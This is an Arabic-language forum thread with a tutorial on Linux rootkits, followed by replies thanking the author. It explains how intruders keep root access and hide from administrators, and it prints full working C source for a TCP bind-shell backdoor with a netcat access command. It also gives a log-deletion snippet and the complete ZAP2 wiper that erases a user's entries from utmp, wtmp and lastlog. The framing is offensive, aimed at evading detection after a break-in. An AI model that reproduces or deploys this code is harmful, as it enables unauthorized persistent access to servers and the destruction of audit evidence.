samirzehani

زيزوومى محترف
إنضم
30 سبتمبر 2008
المشاركات
2,325
مستوى التفاعل
22
النقاط
730
الإقامة
جزائري 100% وأفتخر
غير متصل
الرووت كيت RootKit ماهو؟ماذايعمل؟(ادخل وشوف)..

--------------------------------------------------------------------------------

بسم الله الرحمن الرحيم

محتويات الدرس:
----------------------------------------------------------------------
القسم الأول:
1- المقدمة.
2- ماهو الرووت كيت RootKit ؟
3- مكونات الرووت كيت RootKit
4- الهاكرز او السكربت كيدز Script Kidz ؟
5- من الذي يستخدم الرووت كيت ؟؟ ولماذا؟
6- ماهي لغة البرمجة التي تكتب بها الرووت كيت؟
7- أنواع الرووت كيت؟

القسم الثاني:
8- الباكدور Backdoors
9- ادوات التجسس Sniffers.
10- اللوج Logz
11- ادوات اضافية في الرووت كيت.
12- معلومات اضافية عن Kernel RootKit .
----------------------------------------------------------------------



*******************

ماهو الرووت كيت RootKit؟
-------------------------------------
نسمع كثيرا عن الرووت كيت وأكيد بعضنا قرأ في مواضيع ولقا كلمة الرووت كيت مكتوبه ولا عرف ايش هيا ولا كلف على نفسه بالبحث عن معناها. واخس شي انك تقرأ في موضوع ولا تعرف
ايش مغزاه...
راح اختصر كلمة RootKit الى RK عشان نسهل العملية.

الرووت كيت"RootKit":
هو عبارة عن برنامج يأتي باشكال مختلفة ووظائف متعددة. يسمح للهاكرز اذا اخترق سيرفر واخذ رووت أن يحافظ له على الرووت وعلى أشياء اخرى..
كلمة Root تعني المسؤول عن النظام في لينكس مثل الـAdministratr الي في الويندوز ، وكلمة Kit تعني مجموعة من الأدوات مجمعة مع بعضها.
طبعا الـRK يجعلك مجهول في السيرفر ويحافظ على بقائك كـRoot وكمان يمكنك من التحكم الكامل في السيرفر بدون ما يعرف صاحب السيرفر...والكثير من الوظائف الي راح نشرحها في الأقسام الجاية ان شاء الله.
ملاحظة: من البديهي انو ماراح تقدر تستعمل الرووت كيت RK الا اذا كنت Root على السيرفر.. زي ماهو موجود في اغلب انواع الـRK.


3- مكونات الرووت كيت RootKit:
----------------------------------------
يتكون الـRK من الأشياء التالية [ راح نشرحها بالتفصيل ان شاء الله]:
1-الباكدور Backdoorz : بأنواعه المختلفة مثل "telnetd" ، "Login Backdor".
2-الـ Sniffers:التجسس على خدمات الشبكة مثل "FTP ، TELNET".
3-ادوات الـLogz : تقوم بالتعديل والمسح في اللوج حتى لا تنكشف.
4-ادوات DDOS : الي يسموها بالعربي " هجوم حجب الخدمة" شبيهه بالـPing في الدوس لكنها اقوى من الي في الويندوز بكثييير.
5-IRC/Bots.
6-السكربتات الخبيثة : زي بعض انواع الأكسبلويتات والسكربتات الي تخرب في النظام.


4- الهاكرز Hackers والسكربت كيد Script kidz ؟؟
---------------------------------------------
السؤال دحين هوا هل الرووت كيت RK اداة للهاكر ام للسكربت كيدز ؟
مممممم ... الـScript kids من اسمهم ما يعرفو شي عندهم أي شي على اللينكس هو كمبايل وبعدين تشغيل وخلاص يعني يقولو انو الـRK اداة سهله ما يحتاج لها وهم ممكن ما يعرفوها واذا عرفوها ماراح يقدرو يتعاملو معاها بعكس الهاكر المتمكن منها وهذا هو الفرق بين الأثنين. طبعا في انواع من الـRK تحتاج معرفة ببعض لغات البرمجة مثل لغة C ، وتحتاج في بعضها انك تعرف بيئة النظام وكيف تتعامل معاه وفي البعض وهو الأصعب الي يتعامل مع الكيرنل... يعني الـScript kids الله يخلف عليهم في اكثر الأحيان تلاقيهم ينزلو شي على السيرفر وما يعرفو يتخدموه ويقومو يحذفو وعلى هذا الحال نزل واحذف ، يجي الأدمن يشوف انو في عمليات حذف كثيره ويكتشف انو واحد اهبل كان يحاول يخترق السيرفر ويطرده بره هو وعفشه ..

5- من يستخدم الذي يستخدم الرووت كيت RK ؟ ولماذا؟
------------------------------------------------------
عرفنا في القسم الي قبل هدا مين الي يستخدمها وقلنا انها تستخدم من قبل كل من الهاكرزHackers و Script kidz..
وزي ما عرفنا كمان انو الرووت الكيت RK تستخدم لاغراض كثيره منها تخليك مسيطر على السيرفر كـR00t وكمان انك تبقى مجهول وتساعدك على التخفي بالإضافة الى الأعمال التخريبية الي ممكن تسويها...

6- ماهي لغة البرمجة التي تكتب بها الرووت كيت RK؟
-----------------------------------------------------
اكثر انواع الـRK مكتوبة بلغة الـC او الأسمبلي للـSHELL CODE.
طبعا ميزة كتابتها بلغة الـC انك تقدر تحرر الكود وتعدل فيه زي ما تبغى وعلى حسب متطلباتك.

7- أنواع الرووت كيت RootKit.
---------------------------------
هناك نوعان من الرووت كيت RK وهي :
1- Application rootkits – الي هو مصمم خصيصا للبرامج. مثل ("ls ، kill ").

2- Kernel rootkits – مصممه للكيرنل والتعامل معه.

ناخذ النوع الأول:
Application rootkits : هذا النوع ممكن نعتبره أسهل من النوع الثاني واقل تعقيدًا منه ، حيث ان وظيفته هي التعديل في برامج السيرفر واللعب والتغير في اكوادها عشان ما تقرأ الأشياء صح وهذا يمنح الشخص الي نزلها تخفي وسرية نوعا ما.
قائمة ببعض البرامج التي يتم التعديل فيها:

::" ls " "find" "du" :- اول مانشوف الأوامر هذي راح نعرف ايش الي راح يصير انها ماراح تعرض المجلدات والملفات الصحيحة بأحجامها والي فيها .

::"top" "ps" "pidof" :- راح تتعدل متعرض معلومات خاطئة طبعا من الأوامر نعرف انو ماراح تشوف البرامج الي شغاله في الخلفية وكمان ماراح تشوف المساحة الي مستخدمة من الـCPU على السيرفر وهذا يشكل خطر على صاحب السيرفر.

::"netstat" :- من المعروف أنو هذا الأمر يقوم بعرض البروتات في الجهاز واللأجهزة الي متصلة بالشبكة والخدمات لكن لمن تنزل الرووت كيت على السيرفر راح تعدل فيها وخلف الله على الأمر المهم جدا. ماراح يعرض البورتات الصحيحة وكمان راح يخفي الباك دورات الي متصلة وبورتاتها .

::"killall":- وظيفة الأمر هذا هو قتل عمليات وايقافها لكن الرووت كيت لمن ينزل راح يجعلها تعمل العكس تماما ويمنعها من تنفيذ مهامها.

::"crontap" :- الخاص بالمجدولة ومهام النظام الدورية.

++++++++
والان نتكلم عن النوع التاني:
Kernel rootkit : هذا النوع صعب وقوي جدا وصعب الأكتشاف ليش؟؟
لانه يدخل في الكيرنل ويتعامل مع الكيرنل...
وراح نتكلم عن هذا النوع بشيء من التفصيل في الأقسام الجاية...


8- الباكدور Backdoor:
-------------------------
اكثر انواع الـRK يكون معها باكدور ويختلف نوعه وقوته حسب الي مسوينه..
بالنسبة لهذا الموضوع عن الباك دور ماراح اطول فيه لانه انا شرحت درس عن هذا الجانب قبل كدا في المنتدى:

ونشطب على هذا القسم بواحد من الباكدورات راح احطه وانتو اكتشوف من أي نوع هذا الباكدور:

--------------من هنا----------------

/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BACKLOG 5
#define SHELL "/bin/sh"

void usage();

int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}

int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n"); exit(-1);
}

mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf("Could not bind socket!\n");
exit(-1);
}

if(listen(sock, BACKLOG) == -1) {
printf("Could not listen on socket!\n");
exit(-1);
}

printf("Listening for connections on port %s!\n", argv[1]);

while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl("/bin/sh","/bin/sh",(char *)0);
close(csock);
}
}

void usage(char *progname[]) {
printf("Usage: %s <port>\n", progname);
exit(-1);
}

----------------الى هنا-----------------

الغرض من وضع الكود عشان تاخذ فكره عن الرووت كيت ومكوناتها ....

9- Sniffers :
----------------
معظم أنواع الرووت كيت RK يأتي معها شي مهم وهو الـSniffers.
والـSniffers هو عبارة عن برنامج مصمم خصيصا لمراقبة البكتات Packets الي رايحه والي جاية وتستخلص منها الأشياء المهمة من باسوردات وأشياء تانية. والباكت Packet معناه حزمة من الأشياء وتفسيرها في الأنترنت راح اوضحة زي لمن تروح مثلا موقع العاب وتبغى تلعب في النت راح تنتقل من جهازك معلومات على شكل حزم ونفس الشي راح تستقبل حزم من المعلومات وتقوم برامج الـ Sniffers بمراقبة هذه البيانات والأستفادة منها. ومن الأشياء الي نستفيدها من هذه البرامج :
::باسوردات الـFTP.
::باسوردات التلنت.
::باسوردات الشبكة.
::باسوردات POP3.
::وغيرها الكثير....​


طيب البعض ممكن صار عنده تضارب في المعلومات يقول انو الباسوردات تكون مشفرة .. يا حبيبي تكون مشفرة مثلا زي في الأيميل عن استخدام برنامج PGP وكذلك في الـSSH ...
ولكن الـFTP وغيرها يكون الباسورد مكشوف وماتحتاج لوقت حتى تعرف الباسورد الصحيح.
والي يبغى زيادة في هذا الموضوع يروح للموقع هذا :
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي


ومن أشهر انواع الـ Sniffer في واحد اسمه linsniffer.c . في شي كمان انو السنايفر قوية وصعب اكتشفاها ...

10- Log deleters :
------------------------
وظيفة ادوات اللوج عموما انها تقوم بحمايتك وذلك بمسح ملفات اللوج الي تسجل كل شي تسويه لانها تسجل دخولك وخروجك والأي بي تبعك ومنه ممكن الأدمن يجيبك وتروح فيها.. في انواع ممتازة من ادوات اللوج ما تقوم بالمسح بل تقوم بالتعديل زي ماراح نشوف ...

بالتأكيد ماراح تكون محمي 100% عندما تقوم بحذف اللوج ، لانه ممكن حذف اللوج يكون غباء ، لكن ممكن تعدل في ملفات اللوج وذلك بأنك تحذف الي فيها مثلا او تغير الأي بي الي جوتها عشان الأدمن ما يكتشف وعلى فكره ظهرت الان او لها فترة انو ملفات اللوج ما تتخزن في نفس السيرفر الي عليه المواقع بل على سيرفر ثاني حتى يكون امان اكثر وفي هذه الحالة لازم تخترق السيرفر الثاني عشان تمسح وتعدل وتلعب في اللوج .. المهم هذا مو موضوعنا ..

في كود بسيط وصغير مكتوب بالـC يقوم بعملية التمويه وذلك بحذف واحد من ملفات اللوج وبعد الحذف يقوم بإنشائه مره اخرى لكن فاضي وطبعا الأدمن ممكن ما ينتبه اذا كان ماله في الحماية كثير.


---------من هنا-----------

int main()
system("rm-rf /root/logs/LastEntry.log");
touch(" /root/Logs/LastEntry.log");
return 0;

---------الى هنا---------

الكود واضح ما يحتاج له شرح . وعلى فكرة لازم تكون تعرف شوي للغة السي حتى تقدر تتعامل مع ملفات اللوج وتعدلها على حسب حاجتك . بس الطريقة الي فوق خطيرة شوي لانه ممكن يكتشف الأدمن اللعبة ويطيرك بره

ومعظم انواع الووت كيت تكون مدمجه بانواع من ادوات اللوج الي تقوم بالمسح او التعديل الى غير ذلك. لكن انت قبل لا تسوي كمبايل للماسحات او محررات اللوج لازم تعدلها حسب السيرفر الي عندك واماكن تخزين اللوج والا راح تكون من اطفالنا الي كثرنا كلام عنهم.
ولازم نعرف انو لو مسحنا او عدلنا في اللوج محنا في بر الأمان لانه في برامج حماية ممكن تكون على السيرفر مثل برامج IDS الي من انواعها برنامج SNORT وغيرها من برامج الحماية.
رح نختم هذا القسم بواحد من اشهر واقدم ماسحات اللوج وهو ZAP وترى هذا البرنامج مره قديم يعني لا تستخدموه بس عرضناه للمعرفة فقط.

------------ من هنا----------

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

---------------الى هنا--------------

11- ادوات اضافية في الرووت كيت:
----------------------------------
يتميز كل نوع من الرووت كيت الي يسوه المبرمجين بشي معين بعضها تتميز بالباكدور القوي وبعضها بالسنايفر وبعضها بادوات اللوج.
الأنواع الي تحتوي على DDOS تعبر قوية وخطيرة جدا على السيرفرات الثانية لانها ممكن تعطل مجموعة كبيرة من السيرفرات. وفي بعض الأنواع تحتوي على ادوات الـIRC.
12- معلومات اضافية عن Kernel RootKit :
------------------------------------------------
تكلمنا عن النوع هذا قليل. وهنا راح نفصل اكثر.
الرووت كيت الي من هذا النوع الي يعتبر خطير وقوي وهو اقوى من الـ Application rootkits لانه مثلا في الـ Application rootkits ممكن يعرف الأدمن انو في احد قاعد يعدل في النظام وذلك بانه هذا النوع يعدل في البرامج زي ما عرفنا وذها يعني انو راح يزيد مساحة البرنامج زي امر ls راح تزيد مساحته وراح يكتشفه الأدمن في اغلب الأحيان اذا كان فاهم في الأمن ومراقب للسيرفر .. اما النوع الثاني وهو Kernel Rootkits صعب انو يعرف المساحة الي زادة ولا يقدر يطبق القاعدة هذي معاها لانه الكيرنل يعتبر نواة النظام ويتعامل مع كل شي من الأجهزة المضافة الى البرامج الى كل شي لكن هناك برامج تستطيع التعرف على هذا النوع وانتزاعه من الكيرنل وكل يوم يطلع شي جديد.

نخلص من هذا القسم بمثالين على كل من :
Application rootkit – مثل : t0rn

Kernel rootkit – مثل : Adore


وأخيرا أنتهى الدرس وآسف على التأخير
ان شاء الله الكل يستفيد :king:
 

التعديل الأخير بواسطة المشرف:
توقيع : samirzehani
وأعتذر عن الكلمات المبهمة ولكن هي لغتهم *الروتكيت*
 
توقيع : samirzehani
جزك الله خير اخووي سامر :ok:
 
توقيع : ROOOOK
جزاك الله خير​
 
توقيع : ابـــو عــبــد الــلــه
جزيت خيراً أخي الكريم
 
توقيع : Corporation
بارك الله فيك اخوي الكريم
 
توقيع : KoNaMi
يعطيكم ألف ألف ألف ألف ألف ألف ألف عافية
تقبلو احتراماتي
 
توقيع : samirzehani
ما شاء الله ابداع حبيب قلبي وجزاك الله خيرا وتستاهل خمس نجوم لعيونك الحلوة
5
star1.gif
star1.gif
star1.gif
star1.gif
star1.gif

 
توقيع : السّاجد لله
ما شاء الله ابداع حبيب قلبي وجزاك الله خيرا وتستاهل خمس نجوم لعيونك الحلوة
5
star1.gif
star1.gif
star1.gif
star1.gif
star1.gif


الله يعطيك مليون عافية ويا رب يبارك فيك ويحرم وجهك عن النار دمت لي يالغالي
 
توقيع : samirzehani
ألله يعافيك اخوي
 
توقيع : samirzehani
يسلموا على المعلومات اخي الكريم
 
مشكوور على المرور ياغالي
 
توقيع : samirzehani
عودة
أعلى